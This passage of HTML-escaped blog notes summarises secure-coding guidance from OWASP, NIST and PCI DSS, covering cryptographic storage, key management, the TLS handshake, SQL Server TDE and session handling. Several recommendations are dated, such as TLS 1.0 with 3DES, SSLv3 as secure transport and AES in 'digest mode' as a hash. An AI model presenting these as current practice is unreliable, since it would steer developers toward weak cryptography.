&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;page-break-after: avoid;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;SSL 2.0 should never be used.&lt;/li&gt;
&lt;li&gt;multiple domain certificates or enhanced wildcard certificates can be used to provide a listing of multiple names in a certificate.&lt;/li&gt;
&lt;li&gt;TLS has renegotiation vulnerability which most browsers have corrected.&lt;/li&gt;
&lt;li&gt;NIST SP 800-52 recommends to use TLS 1.0 with RSA or DSA, with ephemeral Diffie Hellman, 3DES or AES and SHA1 (or SHA256) for integrity protection. MD5 and RC4 are disallowed.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet&quot; target=&quot;_blank&quot;&gt;Cryptographic Storage Cheat Sheet&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;2.3.1 Rule - Only store sensitive data that you need&lt;/li&gt;
&lt;li&gt;2.3.2 Rule - Only use strong cryptographic algorithms&lt;br /&gt;
&lt;b&gt;Symmetric Key&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Currently, there exist three FIPS-approved symmetric key algorithms for encryption: Advanced Encryption Standard &amp;nbsp; &amp;nbsp;(AES), Triple-DES, and Skipjack. AES is the FIPS-Approved symmetric encryption algorithm of choice.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Asymmetric Key&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;FIPS 186-3 Digital Signature Standard (DSS) (DSA, RSA, and ECDSA algorithms)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
On June 10, 2009, NIST announced the adoption of FIPS 186-3, Digital Signature Standard (DSS), which is a revision of FIPS 186-2. The FIPS specifies three techniques for the generation and verification of digital signatures:&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
Digital Signature Algorithm (DSA),&amp;nbsp;RSA (as specified in ANSI X9.31 (RSA)), and&amp;nbsp;Elliptic Curve DSA (ECDSA; as specified in ANSI X9.62).&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;Secure Hash Standard (SHS)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
(SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512 algorithms)&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The Secure Hash Algorithms (SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512) are specified in FIPS 180-3 dated October 2008, Secure Hash Standard (SHS).&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;Random Number Generators (RNG)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The algorithms for generating approved random numbers are referenced in FIPS 140-2 Annex C.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;Message Authentication (MAC)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
Block Cipher-based MAC Algorithm (CMAC)&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The CMAC algorithm is specified in Special Publication 800-38B dated May 2005, Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication. CMAC can be considered a mode of operation of the block cipher because it is based on an approved symmetric key block cipher, such as the Advanced Encryption Standard (AES) algorithm currently specified in Federal Information Processing Standard (FIPS) Pub. 197. CMAC is also an approved mode of the Triple Data Encryption Algorithm (TDEA).&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;b&gt;Keyed-Hash Message Authentication Code (HMAC)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The Keyed-Hash Message Authentication Code (HMAC) is specified in FIPS 198 dated March 6, 2002, Keyed-Hash Message Authentication Code (HMAC). This algorithm utilizes the Secure Hash Algorithms as an underlying primitive.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;2.3.2.1 Rule - Ensure that random numbers are cryptographically strong&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
Ensure that all random numbers, random file names, random GUIDs, and random strings are generated in a cryptographically strong fashion. Also ensure that random algorithms are seeded with sufficient entropy.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;2.3.2.2 Rule - Only use widely accepted implementations of cryptographic algorithms&lt;/li&gt;
&lt;li&gt;2.3.2.3 Rule - Prefer &lt;a href=&quot;http://www.cryptopp.com/wiki/Authenticated_Encryption&quot; target=&quot;_blank&quot;&gt;authenticated encryption&lt;/a&gt; modes&lt;/li&gt;
&lt;/ul&gt;
Use cryptographic cipher modes that offer both confidentiality and authenticity. Recommended modes include counter with CBC-MAC (CCM) mode and Galois/counter mode (GCM). These authenticated encryption (AE) modes resist padding oracle attacks which can be used in many cases to recover plaintext from ciphertext without knowledge of the encryption key.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;2.3.3 Rule - Store the hashed and salted value of passwords&lt;/li&gt;
&lt;li&gt;2.3.4 Rule - Ensure that the cryptographic protection remains secure even if access controls fail&lt;/li&gt;
&lt;li&gt;2.3.5 Rule - Ensure that any secret key is protected from unauthorized access&lt;/li&gt;
&lt;li&gt;2.3.5.1 Rule - Define a key lifecycle&lt;/li&gt;
&lt;li&gt;2.3.5.2 Rule - Store unencrypted keys away from the encrypted data&lt;/li&gt;
&lt;li&gt;2.3.5.3 Rule - Use independent keys when multiple keys are required&lt;/li&gt;
&lt;li&gt;2.3.5.4 Rule - Protect keys in a key vault&lt;/li&gt;
&lt;li&gt;2.3.5.5 Rule - Document concrete procedures for managing keys through the lifecycle&lt;/li&gt;
&lt;li&gt;2.3.5.6 Rule - Build support for changing keys periodically&lt;/li&gt;
&lt;li&gt;2.3.5.7 Rule - Document concrete procedures to handle a key compromise&lt;/li&gt;
&lt;li&gt;2.3.5.8 Rule - Rekey data at least every one to three years&lt;/li&gt;
&lt;li&gt;2.3.6 Rule - Follow applicable regulations on use of cryptography&lt;/li&gt;
&lt;li&gt;2.3.6.1 Rule - Under PCI DSS requirement 3, you must protect cardholder data&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
PCI DSS requirement 3 covers secure storage of credit card data. This requirement covers several aspects of secure storage including the data you must never store but we are covering Cryptographic Storage which is covered in requirements 3.4, 3.5 and 3.6 as you can see below:&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.4 Render PAN (Primary Account Number), at minimum, unreadable anywhere it is stored&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.5 Protect any keys used to secure cardholder data against disclosure and misuse&lt;/li&gt;
&lt;li&gt;3.6 Fully document and implement all key-management processes and procedures for cryptographic keys used for encryption of cardholder data&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
Requirement 3.6 mandates that key management processes within a PCI compliant company cover 8 specific key lifecycle steps:&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.6.1 Generation of strong cryptographic keys&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.6.2 Secure cryptographic key distribution&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The method used to distribute keys must be secure to prevent the theft of keys in transit. The use of a protocol such as Diffie Hellman can help secure the distribution of keys, the use of secure transport such as SSLv3, TLS and SSHv2 can also secure the keys in transit.&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.6.3 Secure cryptographic key storage&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The secure storage of encryption keys including KEK&#39;s has been touched on in our description of requirement 3.5 (see above).&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;3.6.4 Periodic cryptographic key changes&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
The PCI DSS standard mandates that keys used for encryption must be rotated at least annually.&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;font-size: small; text-align: left;&quot;&gt;
&lt;li&gt;3.6.5 Retirement or replacement of keys as deemed necessary when the integrity of the key has been weakened or keys are suspected of being compromised&lt;/li&gt;
&lt;li&gt;3.6.6 Split knowledge and establishment of dual control of cryptographic keys&lt;/li&gt;
&lt;li&gt;3.6.7 Prevention of unauthorized substitution of cryptographic keys&lt;/li&gt;
&lt;li&gt;3.6.8 Requirement for cryptographic key custodians to sign a form stating that they understand and accept their key-custodian responsibilities&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


SSL/TLS&lt;/h3&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
TLS version 1.0 and SSL 3.0 are very similar. SSL 3.1 is identical to TLS 1.0&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;Handshake process&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;TLS begins by client initiating the handshakre protocol with hello message that includes protocol version, session id, cipher suite, compression method and a random number.&lt;/li&gt;
&lt;li&gt;server responds with hello msg that includes&amp;nbsp;protocol version, session id, cipher suite, compression method and a random number.&lt;/li&gt;
&lt;li&gt;server then sends it cert and msg indicating it finished with hello msg.&lt;/li&gt;
&lt;li&gt;client responds with a key exchange msg. for instance in the case of TLS_RSA_WITH_RC4_CBC_MD5, the client generates a 48 byte premaster secret and encrypts it with the servers RSA public key.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;48 byte includes 2 bytes for client version and 46 random bytes&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;server decrypts the key exchange msg and verifies first two bytes are same as earlier client version.&lt;/li&gt;
&lt;li&gt;Now both client and server use random numbers exchanged and pre master secret with a pseudo random function (PRF) to generate master secret.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;master secret is 48 bytes long. It has 3 128 bit keys; one for keyed MD5 (MAC), one for&amp;nbsp;symmetric(RC4) and one as initialization vector for symmetric algorithm.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&amp;nbsp;client/server send handshake finished to each other.&lt;/li&gt;
&lt;li&gt;now session keys based on master secret are used for remainder of TLS session.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;TLS benefits&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;integrity&amp;nbsp;guarantees&lt;/li&gt;
&lt;li&gt;replay prevention&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
Online Certificate status protocol (OCSP) responder to check for certificate revocation status.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Crypto Module&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;components that implement crypto algos&lt;/li&gt;
&lt;li&gt;components that&amp;nbsp;call and manage crypto functions&lt;/li&gt;
&lt;li&gt;physical container around the above two.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;For FIPS 140-2:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;SSL must be disabled and TLS must be used.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Set the &quot;secure&quot; flag for the cookie to avoid sending in http mode ( versus https)&lt;/li&gt;
&lt;li&gt;Strict transport security will provide a server side control to instruct browsers to use https only.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Database Encryption&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.mssqltips.com/sqlservertip/1507/implementing-transparent-data-encryption-in-sql-server-2008/&quot; target=&quot;_blank&quot;&gt;Transparent Data Encryption is a new feature in SQL Server 2008&lt;/a&gt; which implements database-level encryption complementing the row-level encryption which is currently available in SQL Server 2005. This protects database access, either directly or by restoring a database backup on another SQL Server instance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Setting up encryption on the server. To do that, we create the database master key on the master database&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
USE master&lt;br /&gt;
GO&lt;br /&gt;
CREATE MASTER KEY ENCRYPTION BY PASSWORD = &#39;mY_P@$$w0rd&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Then, we create the server-based certificate which will be used to encrypt the database&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
CREATE CERTIFICATE NorthwindCert&lt;br /&gt;
WITH SUBJECT = &#39;My DEK Certificate for Northwind database&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;We will then set the encryption for the Northwind database by creating a database encryption key and password using the certificate we just created.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
USE Northwind&lt;br /&gt;
GO&lt;br /&gt;
CREATE DATABASE ENCRYPTION KEY&lt;br /&gt;
WITH ALGORITHM = AES_128&lt;br /&gt;
ENCRYPTION BY SERVER CERTIFICATE NorthwindCert&lt;br /&gt;
GO&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The encryption algorithm choice is yours, since a few different options exist. &amp;nbsp;For guidance on selecting an encryption algorithm on SQL Server, check out this Microsoft TechNet article. &amp;nbsp;After creating the database encryption key, we&#39;ll enable encryption on the database level.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
ALTER DATABASE Northwind&lt;br /&gt;
SET ENCRYPTION ON&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Let&#39;s backup the encrypted Northwind database this time but using a different filename.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
BACKUP DATABASE Northwind &lt;br /&gt;
TO DISK = &#39;C:\Northwind_encrypted.bak&#39;&lt;br /&gt;
WITH INIT, STATS = 10&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The encrypted backup would take a bit longer than the unencrypted backup. If you open the encrypted database backup and search for the string &#39;A r i a &amp;nbsp; C r u z&#39; which we searched for earlier, you will no longer find it.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Session Management&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Set secure and HttpOnly flags for session cookies. &lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;Send CSRF tokens with forms.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Throttle requests from a particular user.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Authentication &amp;nbsp;&amp;amp; Authorization&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956496&quot;&gt;Relevant COBIT Topics:&amp;nbsp;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;DS5 – All sections should be reviewed.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;username and password is suitable for low value
systems such as blogs and forums, SMS challenge response is suitable for low
value e-commerce systems (in 2005), whilst transaction signing is suitable for
high value systems such as high value e-commerce&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;HTTP 1.1 Digest authentication uses a challenge
response mechanism, which is reasonably safe for low value applications.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Certificate revocation with self-issued
certificates is almost impossible in extranet environments.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Soft certificates (also known as client-side certificate
authentication) are a little stronger than passwords, but suffer from the same
problems as passwords and any authentication method which automatically
processes credentials.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Challenge Response:&amp;nbsp;Challenge response tokens work by taking a value (challenge) from
the system and processing them in a cryptographically secure fashion to derive
a result.&lt;/li&gt;
&lt;li&gt;Transaction signing is performed by offline challenge response
calculators. The user will be presented with various items to enter into the
calculator, and it will calculate a response based upon these inputs. This is
the strongest form of authentication as the user has to enter the transaction
details – any other transaction will fail to produce a suitable response. This
type of authentication has strong non-repudiation properties, is robust against
man in the middle attacks, cannot be replayed, and is robust against differing
transaction limits.&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
For the best effect, at least the following should be stirred
into the challenge:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;/div&gt;
&lt;blockquote style=&quot;border: none; margin: 0 0 0 40px; padding: 0px;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Reference ID&lt;br /&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;From account&lt;br /&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Amount of the transaction&lt;/blockquote&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;


&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Use decent one-way hash algorithm, such as AES-128
in digest mode or SHA-256 bit.&lt;/li&gt;
&lt;li&gt;Check that the app has a delay between the user submitting the
credential and a success or failure is reported. A delay of three seconds can
make automated brute force attacks almost&amp;nbsp;unfeasible. A progressive delay (3
seconds then 15 then 30 then disconnect) can make casual brute force attacks
completely ineffective&lt;/li&gt;
&lt;li&gt;Event correlation software such as Simple Event Correlator (SEC)
can be used to define rules to parse through the logs and generate alerts based
on aggregated events. This could also be done by adding a Snort rule for
alerting on HTTP Authorization Failed error messages going out from your web
server to the user, and SEC can then be used to aggregate and correlate these
alerts.&lt;/li&gt;
&lt;li&gt;Note: Any web site that is mandated or
legally required to be accessible must not use CAPTCHA’s. if you can&#39;t:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;You have to provide alternate means of&amp;nbsp;registration&amp;nbsp;etc.&lt;/li&gt;
&lt;li&gt;deter the use of automated sign ups by using the
“no follow” tag. Search engines will ignore hyperlinks and pages with this tag
set, immensely devaluing the use of link spamming&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot; style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; margin-bottom: .0001pt; margin-bottom: 0in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt; line-height: 150%;&quot;&gt;Session Management&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; line-height: 150%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l0 level1 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956536&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;Relevant
     COBIT Topics&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l0 level2 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;PO8 – All sections should be
      reviewed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l0 level2 lfo1; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 1.0in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;PO8.4 – Privacy, Intellectual
      proeprty and data flow&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;The session ID value must
     provide at least 64 bits of entropy (if a good PRNG is used, this value is
     estimated to be half the length of the session ID).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;line-height: 150%; mso-list: l1 level1 lfo2; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list .5in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt; line-height: 150%;&quot;&gt;the “Secure” cookie attribute
     (see below) must be used to ensure the session ID is only exchanged
     through an encrypted channel. The usage of an encrypted communication
     channel also protects the session against some session fixation attacks
     where the attacker is able to intercept and manipulate the web traffic to
     inject (or fix) the session ID on the victims web browser [4].&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
